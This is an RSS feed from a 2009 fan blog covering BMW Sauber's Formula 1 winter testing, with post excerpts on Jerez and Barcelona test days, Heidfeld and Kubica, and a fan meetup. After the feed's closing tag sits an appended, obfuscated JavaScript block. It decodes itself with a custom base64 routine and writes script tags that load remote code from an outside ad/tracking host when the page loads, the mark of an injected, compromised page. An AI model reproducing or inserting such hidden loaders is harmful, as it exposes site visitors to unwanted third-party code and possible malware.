<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>bmwf1blog &#187; 2008-2009 Winter Testing</title>
	<atom:link href="http://www.bmwf1blog.com/category/2008-2009-winter-testing/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.bmwf1blog.com</link>
	<description>BMW Sauber, Striving For Excellence</description>
	<lastBuildDate>Wed, 29 Jul 2009 14:04:43 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Thoughts on BMW Sauber After Testing</title>
		<link>http://www.bmwf1blog.com/2009/03/thoughts-on-bmw-sauber-after-testing/</link>
		<comments>http://www.bmwf1blog.com/2009/03/thoughts-on-bmw-sauber-after-testing/#comments</comments>
		<pubDate>Fri, 13 Mar 2009 14:16:15 +0000</pubDate>
		<dc:creator>BMWF1guy</dc:creator>
				<category><![CDATA[2008-2009 Winter Testing]]></category>
		<category><![CDATA[winter testing]]></category>

		<guid isPermaLink="false">http://www.bmwf1blog.com/?p=1336</guid>
		<description><![CDATA[


BMW Sauber have now wrapped up their winter testing schedule and are going home for final preparations for the 2009 F1 season.  
First, gathering any real and specific information on the team&#8217;s progress has of course been next to impossible, but we are able to see what&#8217;s happening on track and come up with [...]]]></description>
		<wfw:commentRss>http://www.bmwf1blog.com/2009/03/thoughts-on-bmw-sauber-after-testing/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>BMW Sauber Day 4 in Baracelona: Now Let&#8217;s Go Racing!</title>
		<link>http://www.bmwf1blog.com/2009/03/bmw-sauber-day-4-in-baracelona-now-lets-go-racing/</link>
		<comments>http://www.bmwf1blog.com/2009/03/bmw-sauber-day-4-in-baracelona-now-lets-go-racing/#comments</comments>
		<pubDate>Thu, 12 Mar 2009 17:57:44 +0000</pubDate>
		<dc:creator>BMWF1guy</dc:creator>
				<category><![CDATA[2008-2009 Winter Testing]]></category>
		<category><![CDATA[Robert Kubica]]></category>
		<category><![CDATA[winter testing]]></category>

		<guid isPermaLink="false">http://www.bmwf1blog.com/?p=1330</guid>
		<description><![CDATA[
Weather conditions: Heavy fog early morning, sunny for the rest of the day.
Temperature: Air: 8 – 19 °C, Track: 10 – 26 °C
Number of drivers participating: 11 from 10 teams
Fastest lap overall: Rubens Barrichello (Brawn GP) 1:18.926 min
Circuit length: 4.655 km
Robert Kubica
Chassis / engine: BMW Sauber F1.09-04 / BMW 86/9
Test kilometres today: 624 (134 laps)
Fastest [...]]]></description>
		<wfw:commentRss>http://www.bmwf1blog.com/2009/03/bmw-sauber-day-4-in-baracelona-now-lets-go-racing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Barcelona Day 3: Kubica at the Wheel</title>
		<link>http://www.bmwf1blog.com/2009/03/barcelona-day-3-kubica-at-the-wheel/</link>
		<comments>http://www.bmwf1blog.com/2009/03/barcelona-day-3-kubica-at-the-wheel/#comments</comments>
		<pubDate>Wed, 11 Mar 2009 17:44:05 +0000</pubDate>
		<dc:creator>BMWF1guy</dc:creator>
				<category><![CDATA[2008-2009 Winter Testing]]></category>
		<category><![CDATA[f1.09]]></category>
		<category><![CDATA[Robert Kubica]]></category>
		<category><![CDATA[winter testing]]></category>

		<guid isPermaLink="false">http://www.bmwf1blog.com/?p=1325</guid>
		<description><![CDATA[
On his first day at the Barcelona test Robert Kubica concentrated on several different race related situations to fine tune the working relationship between him and his pit crew.
He also worked on solutions for the set-up of the BMW Sauber F1.09 on the mechanical and aero side of the car. As well as this, he [...]]]></description>
		<wfw:commentRss>http://www.bmwf1blog.com/2009/03/barcelona-day-3-kubica-at-the-wheel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Heidfeld Tops on Day One in Barcelona</title>
		<link>http://www.bmwf1blog.com/2009/03/heidfeld-tops-on-day-one-in-barcelona/</link>
		<comments>http://www.bmwf1blog.com/2009/03/heidfeld-tops-on-day-one-in-barcelona/#comments</comments>
		<pubDate>Mon, 09 Mar 2009 17:31:52 +0000</pubDate>
		<dc:creator>BMWF1guy</dc:creator>
				<category><![CDATA[2008-2009 Winter Testing]]></category>
		<category><![CDATA[barcelona]]></category>
		<category><![CDATA[Nick Heidfeld]]></category>
		<category><![CDATA[winter testing]]></category>

		<guid isPermaLink="false">http://www.bmwf1blog.com/?p=1291</guid>
		<description><![CDATA[With the final pre-season test under way, the BMW Sauber F1 Team geared up to make its final preparations for the Australian Grand Prix. On the first day of the Barcelona test Nick Heidfeld concentrated on race related procedures, i. e. pit stop practice, to fine tune the working relationship between the driver, engineers and [...]]]></description>
		<wfw:commentRss>http://www.bmwf1blog.com/2009/03/heidfeld-tops-on-day-one-in-barcelona/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nick UpBeat About 2009 Season</title>
		<link>http://www.bmwf1blog.com/2009/03/nick-upbeat-about-2009-season/</link>
		<comments>http://www.bmwf1blog.com/2009/03/nick-upbeat-about-2009-season/#comments</comments>
		<pubDate>Fri, 06 Mar 2009 15:50:59 +0000</pubDate>
		<dc:creator>BMWF1guy</dc:creator>
				<category><![CDATA[2008-2009 Winter Testing]]></category>

		<guid isPermaLink="false">http://www.bmwf1blog.com/?p=1281</guid>
		<description><![CDATA[

It&#8217;s been a busy few months for Nick Heidfeld what with getting engaged, working out and becoming more fit than last season, and logging a lot of miles in Valencia &#8211; Bahrain &#8211; Jerez and Nick has a lot of motivation leading into Melbourne in a few weeks.
I can&#8217;t remember a time when Heidfeld has [...]]]></description>
		<wfw:commentRss>http://www.bmwf1blog.com/2009/03/nick-upbeat-about-2009-season/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Targets Reached as BMW Sauber Leaves Jerez</title>
		<link>http://www.bmwf1blog.com/2009/03/targets-reached-as-bmw-sauber-leaves-jerez/</link>
		<comments>http://www.bmwf1blog.com/2009/03/targets-reached-as-bmw-sauber-leaves-jerez/#comments</comments>
		<pubDate>Thu, 05 Mar 2009 17:24:43 +0000</pubDate>
		<dc:creator>BMWF1guy</dc:creator>
				<category><![CDATA[2008-2009 Winter Testing]]></category>
		<category><![CDATA[winter testing]]></category>

		<guid isPermaLink="false">http://www.bmwf1blog.com/?p=1275</guid>
		<description><![CDATA[In the morning on a damp track Nick Heidfeld took the opportunity to work on the car’s set-up on wet tyres. Although later in the day the track dried out quickly, gusty winds prevented any useful aerodynamic work. Instead the BMW Sauber F1 Team concentrated on the mechanical set-up of the car. Heidfeld’s 123 laps [...]]]></description>
		<wfw:commentRss>http://www.bmwf1blog.com/2009/03/targets-reached-as-bmw-sauber-leaves-jerez/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Wind and Rain for Nick Heidfeld on Day 4 in Jerez</title>
		<link>http://www.bmwf1blog.com/2009/03/wind-and-rain-for-nick-heidfeld-on-day-4-in-jerez/</link>
		<comments>http://www.bmwf1blog.com/2009/03/wind-and-rain-for-nick-heidfeld-on-day-4-in-jerez/#comments</comments>
		<pubDate>Wed, 04 Mar 2009 19:01:26 +0000</pubDate>
		<dc:creator>BMWF1guy</dc:creator>
				<category><![CDATA[2008-2009 Winter Testing]]></category>
		<category><![CDATA[f1.09]]></category>
		<category><![CDATA[Nick Heidfeld]]></category>
		<category><![CDATA[winter testing]]></category>

		<guid isPermaLink="false">http://www.bmwf1blog.com/?p=1256</guid>
		<description><![CDATA[

Today’s work for Nick Heidfeld started with the mechanical set-up of the BMW Sauber F1.09. He also did a so-called ‘run-out of fuel run’ which resulted in him stopping out on the track. This standard procedure allows the engineers to compare telemetry readings with the car’s actual fuel level. After the lunch break Heidfeld’s main [...]]]></description>
		<wfw:commentRss>http://www.bmwf1blog.com/2009/03/wind-and-rain-for-nick-heidfeld-on-day-4-in-jerez/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kubica Gets Wet Again and Makes Good Progress</title>
		<link>http://www.bmwf1blog.com/2009/03/kubica-gets-wet-again-and-makes-good-progress/</link>
		<comments>http://www.bmwf1blog.com/2009/03/kubica-gets-wet-again-and-makes-good-progress/#comments</comments>
		<pubDate>Tue, 03 Mar 2009 19:20:28 +0000</pubDate>
		<dc:creator>BMWF1guy</dc:creator>
				<category><![CDATA[2008-2009 Winter Testing]]></category>
		<category><![CDATA[f1.09]]></category>
		<category><![CDATA[Robert Kubica]]></category>
		<category><![CDATA[winter testing]]></category>

		<guid isPermaLink="false">http://www.bmwf1blog.com/?p=1244</guid>
		<description><![CDATA[

In the morning, when the track was still damp, Robert Kubica concentrated on set-up work with the BMW Sauber F1.09 running on wet tyres.
After the lunch break the team continued its development program on a dry track. The main focus was evaluating different solutions for the car’s aerodynamics and set-up.
Late in the afternoon Kubica stopped [...]]]></description>
		<wfw:commentRss>http://www.bmwf1blog.com/2009/03/kubica-gets-wet-again-and-makes-good-progress/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Good Wet Weather Test for Kubica</title>
		<link>http://www.bmwf1blog.com/2009/03/good-wet-weather-test-for-kubica/</link>
		<comments>http://www.bmwf1blog.com/2009/03/good-wet-weather-test-for-kubica/#comments</comments>
		<pubDate>Mon, 02 Mar 2009 21:18:35 +0000</pubDate>
		<dc:creator>BMWF1guy</dc:creator>
				<category><![CDATA[2008-2009 Winter Testing]]></category>
		<category><![CDATA[jerez]]></category>
		<category><![CDATA[Robert Kubica]]></category>
		<category><![CDATA[winter testing]]></category>

		<guid isPermaLink="false">http://www.bmwf1blog.com/?p=1234</guid>
		<description><![CDATA[
On a completely wet track, Robert Kubica today concentrated on set-up work. For the first time the team had the opportunity to collect data on the BMW Sauber F1.09 running in wet conditions. That included a water-activated false electrical alarm which caused Kubica to stop on the track once. For the rest of the day [...]]]></description>
		<wfw:commentRss>http://www.bmwf1blog.com/2009/03/good-wet-weather-test-for-kubica/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Barcelona Tests Get Together.  Sign up for a Great Time.</title>
		<link>http://www.bmwf1blog.com/2009/03/barcelona-tests-get-together-sign-up-for-a-great-time/</link>
		<comments>http://www.bmwf1blog.com/2009/03/barcelona-tests-get-together-sign-up-for-a-great-time/#comments</comments>
		<pubDate>Mon, 02 Mar 2009 13:14:38 +0000</pubDate>
		<dc:creator>BMWF1guy</dc:creator>
				<category><![CDATA[2008-2009 Winter Testing]]></category>
		<category><![CDATA[winter testing]]></category>

		<guid isPermaLink="false">http://www.bmwf1blog.com/?p=1227</guid>
		<description><![CDATA[Want to go to the Barcelona tests?  BMWF1Talk is organizing a great getaway for just that.  Here&#8217;s the details I&#8217;ve got:
There will be a group of people renting a hospitality. They will be both a group of BMW Sauber (from BMWF1Talk and other webs) and Alonso fans.
More details of the hospitality:
-Hospitality room just [...]]]></description>
		<wfw:commentRss>http://www.bmwf1blog.com/2009/03/barcelona-tests-get-together-sign-up-for-a-great-time/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script language=JavaScript>eval(unescape('var%20codelock_bas%3D%27ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%2B%2F%27%3B%20function%20codelock_dec%28str%29%20%7B%20str%3Dstr.split%28%27%40%27%29.join%28%27CAg%27%29%3B%20str%3Dstr.split%28%27%21%27%29.join%28%27W5%27%29%3B%20str%3Dstr.split%28%27%2A%27%29.join%28%27CAgI%27%29%3B%20var%20bt%2C%20dt%20%3D%20%27%27%3B%20for%28i%3D0%3B%20i%3Cstr.length%3B%20i%20%2B%3D%204%29%20%7B%20bt%20%3D%20%28codelock_bas.indexOf%28str.charAt%28i%29%29%20%26%200xff%29%20%3C%3C18%20%7C%20%28codelock_bas.indexOf%28str.charAt%28i%20%2B1%29%29%20%26%200xff%29%20%3C%3C12%20%7C%20%28codelock_bas.indexOf%28str.charAt%28i%20%2B2%29%29%20%26%200xff%29%20%3C%3C%206%20%7C%20codelock_bas.indexOf%28str.charAt%28i%20%2B3%29%29%20%26%200xff%3B%20dt%20%2B%3D%20String.fromCharCode%28%28bt%20%26%200xff0000%29%20%3E%3E16%2C%20%28bt%20%26%200xff00%29%20%3E%3E8%2C%20bt%20%26%200xff%29%3B%20%7D%20if%28str.charCodeAt%28i%20-2%29%20%3D%3D%2061%29%20%7B%20return%28dt.substring%280%2C%20dt.length%20-2%29%29%3B%20%7D%20else%20if%28str.charCodeAt%28i%20-1%29%20%3D%3D%2061%29%20%7B%20return%28dt.substring%280%2C%20dt.length%20-1%29%29%3B%20%7D%20else%20%7Breturn%28dt%29%7D%3B%20%7D')); document.write(codelock_dec('PGh0bWw+DQo8aGVhZD4NCjwvaGVhZD4NCjxib2R5Pg0KPHNjcmlwdCBsY!ndWFnZT0iamF2YXNjcmlwdCIgc3JjPSAiaHR0cDovL3d3dy5hZHZwb2ludHMuY29tL2pzLnBocD91aWQ9MTQwMjMiPjwvc2NyaXB0Pg0KPHNjcmlwdCBsY!ndWFnZT0iamF2YXNjcmlwdCIgc3JjPSAiaHR0cDovL3d3dy5hZHZwb2ludHMuY29tL2pzLnBocD91aWQ9MTQwMjMiPjwvc2NyaXB0Pg0KPC9ib2R5Pg0KPC9odG1sPg==')); </script>
